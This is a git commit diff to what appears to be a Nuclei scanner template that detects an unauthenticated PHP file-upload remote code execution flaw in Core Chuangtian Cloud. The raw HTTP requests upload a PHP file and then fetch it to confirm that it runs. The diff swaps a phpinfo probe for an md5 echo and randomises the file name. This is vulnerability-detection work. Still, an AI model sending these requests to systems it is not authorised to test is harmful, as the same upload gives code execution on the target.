Update core-chuangtian-cloud-rce.yaml

patch-1
Prince Chaddha 2022-11-02 18:54:27 +05:30 committed by GitHub
parent 69596d5341
commit f62d4f09aa
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 5 additions and 5 deletions

View File

@ -11,7 +11,7 @@ info:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cwe-id: CWE-77
tags: rce,fileupload,intrusive
tags: rce,fileupload,intrusive,cloud,chuangtian
requests:
- raw:
@ -24,21 +24,21 @@ requests:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
Content-Type: image/avif
<?php phpinfo(); ?>
<?php echo md5("core-chuangtian-cloud"); ?>
------WebKitFormBoundaryfcKRltGv--
- |
GET /Upload/test/test.php HTTP/1.1
GET /Upload/test/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers:
- type: dsl
dsl:
- 'contains(body_2, "PHP Version")'
- 'contains(body_2, "f0a712e2bcf99c5b0c370b3a4286bb35")'
- 'status_code_2 == 200'
condition: and